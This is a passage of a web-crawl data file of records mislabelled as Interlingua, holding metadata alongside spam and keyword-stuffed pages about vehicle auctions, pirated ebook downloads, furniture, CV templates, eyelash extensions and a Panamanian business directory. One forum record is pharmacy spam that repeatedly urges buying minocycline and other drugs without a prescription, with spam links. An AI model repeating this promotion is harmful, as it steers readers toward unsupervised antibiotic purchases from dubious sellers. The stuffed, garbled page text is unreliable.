0.018863752484321594, \"nno_Latn_score\": 0.01805240660905838, \"lit_Latn_score\": 0.01290441956371069, \"mlt_Latn_score\": 0.012648062780499458, \"fra_Latn_score\": 0.011955410242080688}","num_words":232,"character_repetition_ratio":0.071,"word_repetition_ratio":0.717,"special_characters_ratio":0.255,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.421,"perplexity_score":24013.6,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite autogruAste per le vendite gru a torreAste per le vendite mini gru » Aste per le vendite autogru P&HAste per le vendite GROVEAste per le vendite KATOAste per le vendite PPMAste per le vendite TADANOAste per le vendite TEREXAste per le vendite XCMGAste per le vendite ZOOMLION","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-gru-mobile-PH--c7tk2231tm3144.html","date":"2017-02-26T23:51:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172156.69\/warc\/CC-MAIN-20170219104612-00545-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.7845835686,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.784583568572998, \"frp_Latn_score\": 0.08219148963689804, \"lmo_Latn_score\": 0.0487334318459034, \"ita_Latn_score\": 0.034605320543050766, \"nap_Latn_score\": 0.026707321405410767}","num_words":112,"character_repetition_ratio":0.431,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.956,"perplexity_score":1647.2,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite furgoni » Aste per le vendite pulminiAste per le vendite pick-upAste per le vendite furgoni combiAste per le vendite monovolumeAste per le vendite ambulanza » Aste per le vendite pulmini SEATAste per le vendite FORDAste per le vendite OPELAste per le vendite RENAULTAste per le vendite SKODAAste per le vendite TOYOTA","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/pulmini\/SEAT--a5c83tm2901","date":"2017-04-25T02:51:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120092.26\/warc\/CC-MAIN-20170423031200-00459-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.8790643215,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.8790643215179443, \"lmo_Latn_score\": 0.039894334971904755, \"nap_Latn_score\": 0.029660718515515327, \"ita_Latn_score\": 0.020536858588457108, \"frp_Latn_score\": 0.015913061797618866}","num_words":111,"character_repetition_ratio":0.425,"word_repetition_ratio":0.02,"special_characters_ratio":0.179,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":2261.2,"cluster_detection":-1} +{"text":"télécharger le Le suicide - ePub, PDF, TXT, PDB, RTF, FB2 & Audio Books\ntélécharger le livre de Le suicide gratuit.pdf\n|Title||:||Le suicide.pdf|\n|Format Type||:||PDF, e-Pub, Kindle, Mobi|\n|Rating||:|\n|Number of Pages||:||514|\ntélécharger gratuitement le Le suicide du livre.pdf\nLe suicide\nDownload ebook PDF\/MOBI\/EPUB\nTitle: Le suicide\nTAGS #1:\nLe suicide Ebook Download\nLe suicide Ebook Download 2018\nLe suicide Ebook pdf\nLe suicide Ebook mobi\nLe suicide download book\nLe suicide download pdf\nLe suicide download mobi\nLe suicide gratuit\nLe suicide livre\nLe suicide libro\nLe suicide telecharger pdf\nLe suicide telecharger mobi\nLe suicide mediafire\nLe suicide pdf\nLe suicide mobi\nLe suicide kindle ebook\nLe suicide telecharger\nLe suicide ebook torrent download\nLe suicide pdf torrent\nLe suicide new book download\nLe suicide new book free download\nLe suicide uptobox\nTAGS #2:\nLe suicide uplea\nLe suicide 1fichier\nLe suicide rapidshare\nLe suicide mega\nLe suicide uploaded\nLe suicide turbobit\nLe suicide rapidgator\nLe suicide torrentv Le suicide zippyv Le suicide zippyshare\nLe suicide telechargement gratuit","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.elocioyelmadrono.com\/9b\/B0088DE0RA\/9b579061538eaaa5414b25d167f15e78.html","date":"2018-03-22T19:15:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648000.93\/warc\/CC-MAIN-20180322190333-20180322210333-00659.warc.gz","language":"ina","language_score":0.4844972789,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4844972789287567, \"fra_Latn_score\": 0.3979284465312958, \"eng_Latn_score\": 0.02674214355647564, \"ita_Latn_score\": 0.01452074758708477, \"spa_Latn_score\": 0.010443413630127907}","num_words":350,"character_repetition_ratio":0.193,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":9953.0,"cluster_detection":-1} +{"text":"Estrella abstracta del fractal Flecha abstracta del fractal Pluma abstracta del fractal Flor abstracta del fractal Trompeta abstracta del fractal Ornamento abstracto del tracery del fractal del Este Ornamento abstracto del tracery del fractal del Este Ornamento abstracto del tracery del fractal del Este Modelo abstracto del fractal Ornamento abstracto del fractal brillante Gris abstracto de la flor del fractal Ornamento abstracto del fractal Ornamento abstracto del fractal Círculos abstractos del fractal","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/es.dreamstime.com\/aimlife8_portfolio_pg1","date":"2018-05-26T02:42:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867277.64\/warc\/CC-MAIN-20180526014543-20180526034543-00458.warc.gz","language":"ina","language_score":0.9653470516,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9653470516204834, \"spa_Latn_score\": 0.013041730038821697, \"cat_Latn_score\": 0.012523696757853031}","num_words":121,"character_repetition_ratio":0.254,"word_repetition_ratio":0.348,"special_characters_ratio":0.139,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":8336.4,"cluster_detection":-1} +{"text":"bibliotheque salon salon bibliotheque blanc bibliotheque salon de provence.\nbibliotheque salon bibliotheque municipale de salon de provence.\nbibliotheque salon bibliothaque salon meubles modulables 4 you bibliotheque salon a vendre.\nbibliotheque salon bibliotheque salon ikea.\nbibliotheque salon salon traversant avec bibliothaque sur mesure en bois blanc bibliotheque municipale salon de provence.\nbibliotheque salon full size of meilleur mobilier et daccorationluxe incroyable meuble tv salon bibliotheque bibliotheque meuble bibliotheque salon sur mesure.\nbibliotheque salon bibliotheque salon meuble.\nbibliotheque salon la tendance bibliothaques modulables bibliotheque salon de provence horaires.\nbibliotheque salon salon contemporain avec bibliotheque en bois noir bibliotheque salon a vendre.\nbibliotheque salon bibliothaque haute blanche design bibliotheque salon de provence.\nbibliotheque salon bibliotheque bibliotheque murale bibliotheque sur mesure bibliotheque etagere bibliotheque maison bibliotheque bibliotheque salon de provence.\nbibliotheque salon bibliothaque intacgrace bibliotheque salon sur mesure.\nbibliotheque salon mobili rebecca etagere bibliotheque 4 etagares bois clair blanc moderne salon bibliotheque salon a vendre.\nbibliotheque salon salon moderne bibliotheque salon de provence catalogue.\nbibliotheque salon bibliotheque salon a vendre.\nbibliotheque salon daccoration bibliothaque salon daccoration bibliothaque salon daccoration bibliothaque salon bibliotheque municipale de salon de provence.\nbibliotheque salon bibliotheque municipale salon de provence.\nbibliotheque salon biblioth que design id es de d co salon avec biblioth que modele bibliotheque salon bibliotheque salon meuble.\nbibliotheque salon les 25 meilleures idaces de la catacgorie bibliothaque salon sur pinterest atagares a livres daccoration palettes et memble rangement bibliotheque salon de provence horaires.\nbibliotheque salon le salon tele bibliotheque bibliotheque municipale salon de provence.\nbibliotheque salon actagare bibliothaque salon moderne blanc lauraleighimagescom meubles design bibliotheque salon ikea.\nbibliotheque salon charmante dacco bibliothaque salon deco salon bibliotheque design.\nbibliotheque salon bibliotheque salon moderne.\nbibliotheque salon bibliotheque salon de provence.\nbibliotheque salon bibliotheque municipale salon de provence horaires.\nbibliotheque salon il y a les grandes bibliothaques directement intacgraces dans le mur et puis il y a les bibliothaques design a installer dans un coin du salon pour soffrir bibliotheque salon ikea.\nbibliotheque salon 26 idaces de design et dacco bibliothaque inspirantes idaces design dacco bibliothaque murale grise vase bibliotheque municipale salon de provence.\nbibliotheque salon bibliotheque salon de provence inscription.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/aisel.co\/bibliotheque-salon\/","date":"2018-05-26T00:29:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867254.84\/warc\/CC-MAIN-20180525235049-20180526015049-00258.warc.gz","language":"ina","language_score":0.6135544777,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6135544776916504, \"fra_Latn_score\": 0.23045170307159424, \"lat_Latn_score\": 0.06725019961595535, \"nov_Latn_score\": 0.022834284231066704}","num_words":747,"character_repetition_ratio":0.371,"word_repetition_ratio":0.275,"special_characters_ratio":0.137,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.614,"perplexity_score":14973.3,"cluster_detection":-1} +{"text":"como comprar minocycline hydrochloride no brasil, como puedo comprar minocycline hydrochloride en mexico. se puede comprar minocycline hydrochloride sin receta en chile\nEntre Aquí Ahora Para Comprar minocycline hydrochloride Generica En Nuestra Farmacia De Confianza ➪\nminocycline hydrochloride 50mg puebla venta; minocycline hydrochloride precio en dolares.\ncomprar minocycline hydrochloride 100 mg discreto Guatemala\ncomprar minocin 100mg queretaro Colombia\nhttp:\/\/detonator.dynamitedata.com\/cgi-b ... aircus.com\npuedo comprar minocycline hydrochloride en las farmacias\ncomprar minocycline hydrochloride 50 mg sonora\nhttp:\/\/kentuckyartisancenter.com\/__medi ... aircus.com\ndonde comprar minocycline hydrochloride en valencia\ncomprar minocycline hydrochloride 50mg en internet\nrequisitos para comprar minocycline hydrochloride en chile: comprar minocycline hydrochloride 100mg sin receta medica farmacia, donde comprar minocycline hydrochloride en tarragona. comprar minocycline hydrochloride 50 mg generico sevilla. minocycline hydrochloride 100 mg en venta. como comprar minocycline hydrochloride sin receta en buenos aires, minocycline hydrochloride santiago venta, minocycline hydrochloride 50 mg se compra con receta; minocycline hydrochloride 50mg precio barato.comprar minocycline hydrochloride en linea\nhttp:\/\/augasthya-plus.ning.com\/profiles ... 0mg-fiable\ndonde comprar minocycline hydrochloride sin receta en santiago\nminocycline hydrochloride 50 mg medicamento comprar\nminocycline hydrochloride venta libre buenos aires\nminocycline hydrochloride comprar en madrid, comprar minocycline hydrochloride 50mg en tenerife\ncomprar minocin farmacia on line\nminocycline hydrochloride precio barcelona\ncomprar minocycline hydrochloride sin receta en tenerife\nde donde puedo comprar minocycline hydrochloride\ndonde comprar minocycline hydrochloride generico peru, minocycline hydrochloride 50mg precio compra. comprar minocycline hydrochloride generico en malaga.\nhttp:\/\/movsam.ning.com\/profiles\/blogs\/s ... e-o-brasil\ncomprar minocycline hydrochloride original espana\ncomo comprar minocin diario Chile\ncomprar minocycline hydrochloride sin receta en alicante\ncomprar minocycline hydrochloride 50 mg sin receta en argentina\nminocycline hydrochloride se compra sin receta El Salvador\nminocycline hydrochloride de venta libre\nfarmacia genericos comprar minocycline hydrochloride generico online minocycline hydrochloride precio\ndonde puedo comprar minocycline hydrochloride de confianza, minocycline hydrochloride comprar farmacia en línea. comprar minocycline hydrochloride autentica online. minocycline hydrochloride donde comprar en uruguay. minocycline hydrochloride 50mg pura venta. donde puedo comprar minocycline hydrochloride sin receta en buenos aires. donde puedo comprar minocycline hydrochloride en monterrey. minocycline hydrochloride 50 mg tratamiento. comprar minocycline hydrochloride original contrareembolso.onde comprar minocycline hydrochloride generico no brasil\ncomo comprar minocin original\ncomprar minocycline hydrochloride internet seguro\ncompra risperidona 2018 República de Guatemala\nminocycline hydrochloride domicilio venta\ncomprar minocycline hydrochloride natural en herbolarios\nminocycline hydrochloride venta buenos aires\ncomprar minocin intensivo\ncomprar minocycline hydrochloride online peru\ncomprar minocycline hydrochloride sin receta en chile\nse puede comprar minocycline hydrochloride sin receta en farmacias argentina\ndonde puedo comprar minocycline hydrochloride sin receta en tijuana! se puede comprar minocycline hydrochloride sin receta argentina.\ncomprar minocycline hydrochloride 50 mg cuernavaca\ncomprar minocycline hydrochloride 100mg foro barato\ncomprar minocycline hydrochloride 50 mg en india\nminocycline hydrochloride precio argentina\ncomprar minocycline hydrochloride opiniones\ncomprar minocycline hydrochloride original barcelona, minocycline hydrochloride unguento precio. comprar minocycline hydrochloride 50mg andorra sin receta. donde comprar minocycline hydrochloride generico en monterrey; como comprar minocycline hydrochloride sin receta en uruguay, minocycline hydrochloride de 50 mg precio. como comprar minocycline hydrochloride en una farmacia chile. comprar minocycline hydrochloride 100mg sin receta medica españa. comprar minocycline hydrochloride en pamplona.donde comprar minocycline hydrochloride online de forma segura\ncomprar minocycline hydrochloride venta\nminocycline hydrochloride lima comprar\nonde comprar o medicamento minocin\ncomprar minocycline hydrochloride online barato; comprar minocycline hydrochloride envio 24 horas. donde comprar minocycline hydrochloride en madrid sin receta, minocycline hydrochloride tabletas precio en mexico; requisitos para comprar minocycline hydrochloride en chile. minocycline hydrochloride se puede comprar sin receta medica\nminocycline hydrochloride comprar ahora en línea\ndonde puedo comprar minocycline hydrochloride en buenos aires\ncomo comprar minocycline hydrochloride por internet argentina\ncomprar minocycline hydrochloride www\ncomprar minocin por internet es seguro\nminocycline hydrochloride 100mg comprar en bogota\nminocycline hydrochloride 50 mg donde comprar capital\nminocycline hydrochloride venta libre en farmacias\ndonde puedo comprar minocycline hydrochloride sin receta en chile, comprar minocycline hydrochloride 100mg en farmacia capital. minocycline hydrochloride generico precio espana, comprar minocycline hydrochloride bilbao. minocycline hydrochloride donde comprar en uruguay. comprar minocycline hydrochloride en capital federal 2018\nprecio de minocin con receta medica\ndonde puedo comprar minocycline hydrochloride sin receta en buenos aires\ncomprar minocin requiere receta\nminocycline hydrochloride precio farmacia chile\ncomo puedo comprar minocycline hydrochloride en la farmacia\nhttp:\/\/borrowmyburrito.ning.com\/profile ... sildenafil\nminocycline hydrochloride tabletas 100mg precio\nminocycline hydrochloride 50 mg generico donde comprar\ncompra meclizine fiable\nminocycline hydrochloride 50 mg precio en farmacia colombia\nminocycline hydrochloride 50mg es de venta libre en argentina\ncomprar minocycline hydrochloride no brasil. comprar minocycline hydrochloride en madrid ciudad; donde puedo comprar minocycline hydrochloride chile\ncomprar minocycline hydrochloride en milanuncios, minocycline hydrochloride 50 mg en chile comprar\ncomprar minocycline hydrochloride intensivo\ncomprar minocycline hydrochloride 50mg mercadolibre colombia\nminocin 100 mg con receta o sin receta Estados Unidos\nminocycline hydrochloride medicamentos precio\nminocin sin receta precio Estados Unidos\ncomprar minocin 50 mg en farmacias sin receta Chile\ndonde comprar minocycline hydrochloride generico peru\ncomprar minocycline hydrochloride navarra\nonde comprar minocycline hydrochloride no rio de janeiro, minocycline hydrochloride 50mg solo comprar; comprar minocycline hydrochloride 100 mg web; comprar minocycline hydrochloride 50mg en gibraltar. comprar minocycline hydrochloride generico contrareembolso. minocycline hydrochloride 100mg sin receta en farmacia. minocycline hydrochloride comprar en argentina; minocycline hydrochloride con receta o sin receta, comprar minocycline hydrochloride 50 mg pastillas.donde comprar minocycline hydrochloride bogota\nminocycline hydrochloride 100mg precio\nminocin es de venta libre\nminocin 100mg compra-venta Reino de España\ncomprar minocycline hydrochloride internet seguro\ncomprar minocycline hydrochloride autentico, donde comprar minocycline hydrochloride en barcelona. minocycline hydrochloride 50mg sin receta precio\ndonde comprar minocin con garantia\ncomprar minocycline hydrochloride en farmacia argentina\ncomprar acido mefenamico ahora\nquiero comprar minocycline hydrochloride en argentina\nminocycline hydrochloride toluca venta, minocycline hydrochloride 50 mg comprar méxico\nminocycline hydrochloride 50 mg precio en peru\ncomprar minocycline hydrochloride original en andorra\nA játék megjelenítésével kapcsolatos témák. Ide tartoznak például: Materials, Textures, Lighting, Particle Systems, Post Process Volume stb.\nVálasz küldése\n1 hozzászólás • Oldal: 1 \/ 1","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/unrealdev.hu\/viewtopic.php?f=7&t=284050&p=290543","date":"2018-12-14T16:50:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826145.69\/warc\/CC-MAIN-20181214162826-20181214184826-00614.warc.gz","language":"ina","language_score":0.6852965951,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6852965950965881, \"nld_Latn_score\": 0.08649913221597672, \"spa_Latn_score\": 0.05807073786854744, \"mlt_Latn_score\": 0.02658694237470627, \"ile_Latn_score\": 0.016530120745301247, \"lvs_Latn_score\": 0.013846184127032757, \"por_Latn_score\": 0.010741768404841423, \"eng_Latn_score\": 0.010492989793419838}","num_words":2391,"character_repetition_ratio":0.445,"word_repetition_ratio":0.225,"special_characters_ratio":0.147,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.697,"perplexity_score":10728.6,"cluster_detection":-1} +{"text":"exemples de cv executif de construction business development job description resume curriculum vitae template nederlands.\nexemples de cv executif de construction music director curriculum vitae template nz.\nexemples de cv executif de construction resume writing service reviews executive resume writing service reviews best essay writing services reviews for you curriculum vitae nederlands.\nexemples de cv executif de construction curriculum vitae awesome construction template job description writing building curriculum vitae format 2018.\nexemples de cv executif de construction executive resume templates free samples examples formats download free premium templates curriculum vitae example.\nexemples de cv executif de construction resume sample page 1 curriculum vitae nederlands downloaden.\nexemples de cv executif de construction medical records clerk resume cv curriculum vitae betekenis.\nexemples de cv executif de construction a professional resume template for a construction and demolition labourer want it download it now curriculum vitae voorbeeld in afrikaans.\nexemples de cv executif de construction curriculum vitae english doc.\nexemples de cv executif de construction resume sample page 1 curriculum vitae pdf nederlands.\nexemples de cv executif de construction construction manager resume sample com assistant project curriculum vitae voorbeeld verkoopster.\nexemples de cv executif de construction assistant manager hr resume example curriculum vitae english word.\nexemples de cv executif de construction human resources executive resume sample human resources executive resume sample page 2 curriculum vitae template free.\nexemples de cv executif de construction resume curriculum vitae maken online gratis.\nexemples de cv executif de construction curriculum vitae engels.\nexemples de cv executif de construction business development resume objective resume objective for project curriculum vitae nederlands downloaden.\nexemples de cv executif de construction resume sample page 2 curriculum vitae voorbeeld onderwijs.\nexemples de cv executif de construction customer service manager resume sample curriculum vitae voorbeeld gratis.\nexemples de cv executif de construction curriculum vitae nederlands downloaden.\nexemples de cv executif de construction chief financial officer resume sample senior finance executive curriculum vitae engels voorbeeld.\nexemples de cv executif de construction commercial manager sample curriculum vitae nederlands maken.\nexemples de cv executif de construction curriculum vitae fresh s construction resume format for supply curriculum vitae maken engels.\nexemples de cv executif de construction executive resume sample curriculum vitae nederlands model.\nexemples de cv executif de construction brilliant ideas of technical executive resume curriculum vitae maken gratis.\nexemples de cv executif de construction template premium templates resume construction project manager examples sample curriculum vitae english example.\nexemples de cv executif de construction curriculum vitae voorbeeld onderwijs.\nexemples de cv executif de construction a one page version of a very popular design curriculum vitae english teacher.\nexemples de cv executif de construction construction curriculum vitae voorbeeld suriname.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/ahlashabab.info\/exemples-de-cv-executif-de-construction\/","date":"2019-06-16T20:48:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998298.91\/warc\/CC-MAIN-20190616202813-20190616224813-00419.warc.gz","language":"ina","language_score":0.3321186602,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3321186602115631, \"lat_Latn_score\": 0.12481125444173813, \"sco_Latn_score\": 0.08978942036628723, \"ile_Latn_score\": 0.06954049319028854, \"eng_Latn_score\": 0.06815275549888611, \"fra_Latn_score\": 0.053076229989528656, \"dag_Latn_score\": 0.05001389980316162, \"por_Latn_score\": 0.03397919237613678, \"ast_Latn_score\": 0.014953743666410446, \"oci_Latn_score\": 0.013416502624750137, \"ron_Latn_score\": 0.01282573863863945, \"cat_Latn_score\": 0.011637293733656406, \"glg_Latn_score\": 0.010597134940326214}","num_words":788,"character_repetition_ratio":0.325,"word_repetition_ratio":0.23,"special_characters_ratio":0.145,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.332,"perplexity_score":5613.9,"cluster_detection":-1} +{"text":"|sorti le 10\/09\/85||sorti le 10\/01\/86||sorti le 10\/06\/86||sorti le 09\/10\/86||sorti le 09\/01\/87||sorti le 10\/03\/87|\n|sorti le 08\/05\/87||sorti le 10\/07\/87||sorti le 10\/09\/87||sorti le 10\/11\/87||sorti le 10\/02\/88||sorti le 08\/04\/88|\n|sorti le 10\/06\/88||sorti le 10\/08\/88||sorti le 06\/12\/88||sorti le 10\/02\/89||sorti le 10\/05\/89||sorti le 10\/07\/89|\n|sorti le 10\/11\/89||sorti le 10\/01\/90||sorti le 10\/04\/90||sorti le 10\/07\/90||sorti le 08\/10\/90||sorti le 10\/01\/91|\n|sorti le 08\/03\/91||sorti le 10\/06\/91||sorti le 07\/08\/91||sorti le 08\/11\/91||sorti le 10\/03\/92||sorti le 10\/06\/92|\n|sorti le 04\/08\/92||sorti le 02\/10\/92||sorti le 26\/12\/92||sorti le 04\/06\/93||sorti le 03\/09\/93||sorti le 04\/11\/93|\n|sorti le 04\/04\/94||sorti le 04\/08\/94||sorti le 02\/12\/94||sorti le 03\/03\/95||sorti le 02\/06\/95||sorti le 04\/08\/95|\n|Couvertures japonaises des 42 volumes parus chez Shueisha\n\n\n(série terminée)\n|sorti le 04\/12\/02||sorti le 28\/12\/02||sorti le 04\/02\/03|\n|sorti le 04\/03\/03||sorti le 04\/04\/03||sorti le 01\/05\/03|\n|sorti le 04\/06\/03||sorti le 04\/07\/03||sorti le 04\/08\/03|\n|sorti le 04\/09\/03||sorti le 03\/10\/03||sorti le 04\/11\/03|\n|sorti le 04\/12\/03||sorti le 05\/01\/04||sorti le 05\/02\/04|\n|sorti le 04\/03\/04||sorti le 02\/04\/04|\n|Couvertures japonaises des 34 volumes parus chez Shueisha\n\n\nRéédition \"Perfect\" terminée","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/dbcouvjap.htm","date":"2020-07-14T03:55:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147917.99\/warc\/CC-MAIN-20200714020904-20200714050904-00300.warc.gz","language":"ina","language_score":0.3355329037,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.33553290367126465, \"fra_Latn_score\": 0.3230009377002716, \"ron_Latn_score\": 0.10609158128499985, \"crs_Latn_score\": 0.03295617178082466, \"und_Grek_score\": 0.018991619348526, \"dyu_Latn_score\": 0.01750325970351696, \"sot_Latn_score\": 0.0141283068805933, \"smo_Latn_score\": 0.014124609529972076, \"ita_Latn_score\": 0.013235452584922314, \"kck_Latn_score\": 0.010073731653392315}","num_words":348,"character_repetition_ratio":0.289,"word_repetition_ratio":0.932,"special_characters_ratio":0.58,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.335,"perplexity_score":3239.9,"cluster_detection":-1} +{"text":"Extensiones De Pestanas 2dlifting Pestanas Wimpernwelle wimpernwelle pestanas 2dlifting pestanas de extensiones wimpernwelle extensiones 2dlifting pestanas pestanas de pestanas 2dlifting wimpernwelle pestanas extensiones de\nwimpernwelle pestanas pestanas de 2dlifting extensiones 2dlifting pestanas extensiones de pestanas wimpernwelle extensiones wimpernwelle pestanas pestanas de 2dlifting wimpernwelle 2dlifting extensiones pestanas pestanas de de pestanas wimpernwelle extensiones pestanas 2dlifting 2dlifting pestanas extensiones de pestanas wimpernwelle pestanas wimpernwelle pestanas de extensiones 2dlifting","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/magnifibres.es\/extensiones-de-pestanas-2d\/lifting-pestanas-wimpernwelle\/","date":"2022-09-28T13:50:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335254.72\/warc\/CC-MAIN-20220928113848-20220928143848-00193.warc.gz","language":"ina","language_score":0.4615455568,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.46154555678367615, \"spa_Latn_score\": 0.23411640524864197, \"lit_Latn_score\": 0.12170872092247009, \"ind_Latn_score\": 0.02800799161195755, \"srd_Latn_score\": 0.016177598387002945, \"ban_Latn_score\": 0.011862213723361492, \"gmv_Latn_score\": 0.011163611896336079}","num_words":198,"character_repetition_ratio":0.251,"word_repetition_ratio":0.233,"special_characters_ratio":0.124,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":13478.2,"cluster_detection":-1} +{"text":"Add new business\nHome\nPanama\nHerrera\nDistrito de Parita\nDistrito de Parita, Herrera, Panama\nAccounting company in Distrito de Parita\nAirport in Distrito de Parita\nAmusement park in Distrito de Parita\nAquarium in Distrito de Parita\nArt gallery in Distrito de Parita\nAtm in Distrito de Parita\nBakery in Distrito de Parita\nBank in Distrito de Parita\nBar in Distrito de Parita\nBeauty salon in Distrito de Parita\nBicycle store in Distrito de Parita\nBook store in Distrito de Parita\nBowling alley in Distrito de Parita\nBus station in Distrito de Parita\nCafe in Distrito de Parita\nCampground in Distrito de Parita\nCar dealer in Distrito de Parita\nCar rental in Distrito de Parita\nCar repair in Distrito de Parita\nCar wash in Distrito de Parita\nCasino in Distrito de Parita\nCemetery in Distrito de Parita\nChurch in Distrito de Parita\nCity hall in Distrito de Parita\nClothing store in Distrito de Parita\nConvenience store in Distrito de Parita\nCourthouse in Distrito de Parita\nDentist in Distrito de Parita\nDepartment store in Distrito de Parita\nDoctor in Distrito de Parita\nDrugstore in Distrito de Parita\nElectrician in Distrito de Parita\nElectronics store in Distrito de Parita\nEmbassy in Distrito de Parita\nFire station in Distrito de Parita\nFlorist in Distrito de Parita\nFuneral home in Distrito de Parita\nFurniture store in Distrito de Parita\nGas station in Distrito de Parita\nGym in Distrito de Parita\nHair care in Distrito de Parita\nHardware store in Distrito de Parita\nHindu temple in Distrito de Parita\nHome goods store in Distrito de Parita\nHospital in Distrito de Parita\nInsurance agency in Distrito de Parita\nJewelry store in Distrito de Parita\nLaundry place in Distrito de Parita\nLawyer firm in Distrito de Parita\nLibrary in Distrito de Parita\nLight rail station in Distrito de Parita\nLiquor store in Distrito de Parita\nLocal government office in Distrito de Parita\nLocksmith shop in Distrito de Parita\nLodging in Distrito de Parita\nMeal delivery in Distrito de Parita\nMeal takeaway in Distrito de Parita\nMosque in Distrito de Parita\nMovie rental store in Distrito de Parita\nMovie theater in Distrito de Parita\nMoving company in Distrito de Parita\nMuseum in Distrito de Parita\nNight club in Distrito de Parita\nPainter shop in Distrito de Parita\nPark in Distrito de Parita\nParking in Distrito de Parita\nPet store in Distrito de Parita\nPharmacy in Distrito de Parita\nPhysiotherapist in Distrito de Parita\nPlumber shop in Distrito de Parita\nPolice station in Distrito de Parita\nPost office in Distrito de Parita\nPrimary school in Distrito de Parita\nReal estate agency in Distrito de Parita\nRestaurant in Distrito de Parita\nRoofing contractor in Distrito de Parita\nSchool in Distrito de Parita\nSecondary school in Distrito de Parita\nShoe store in Distrito de Parita\nShopping mall in Distrito de Parita\nSpa in Distrito de Parita\nStadium in Distrito de Parita\nStorage in Distrito de Parita\nStore in Distrito de Parita\nSubway station in Distrito de Parita\nSupermarket in Distrito de Parita\nSynagogue in Distrito de Parita\nTaxi stand in Distrito de Parita\nTourist attraction in Distrito de Parita\nTrain station in Distrito de Parita\nTransit station in Distrito de Parita\nTravel Agency in Distrito de Parita\nUniversity in Distrito de Parita\nVeterinary care in Distrito de Parita\nZoo in Distrito de Parita\nRV Park in Distrito de Parita","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.helpmecovid.com\/pa\/herrera\/distrito-de-parita\/","date":"2023-06-08T22:41:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224655143.72\/warc\/CC-MAIN-20230608204017-20230608234017-00196.warc.gz","language":"ina","language_score":0.4112470746,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4112470746040344, \"nov_Latn_score\": 0.2094145268201828, \"ile_Latn_score\": 0.16232341527938843, \"vec_Latn_score\": 0.13391685485839844, \"lij_Latn_score\": 0.033004406839609146}","num_words":846,"character_repetition_ratio":0.493,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.57,"perplexity_score":3175.9,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nNokia\nComo Liberar un Nokia C21 Gratis\nComo Liberar un Nokia C2 2022 Gratis\nComo Liberar un Nokia G11 Gratis\nComo Liberar un Nokia G21 Gratis\nComo Liberar un Nokia X100 Gratis\nComo Liberar un Nokia G300 Gratis\nComo Liberar un Nokia G50 Gratis\nComo Liberar un Nokia XR20 Gratis\nComo Liberar un Nokia C30 Gratis\nComo Liberar un Nokia 6310 (2021) Gratis\nComo Liberar un Nokia C1 2021 Gratis\nComo Liberar un Nokia 110 4G Gratis\nComo Liberar un Nokia 105 4G Gratis\nComo Liberar un Nokia C20 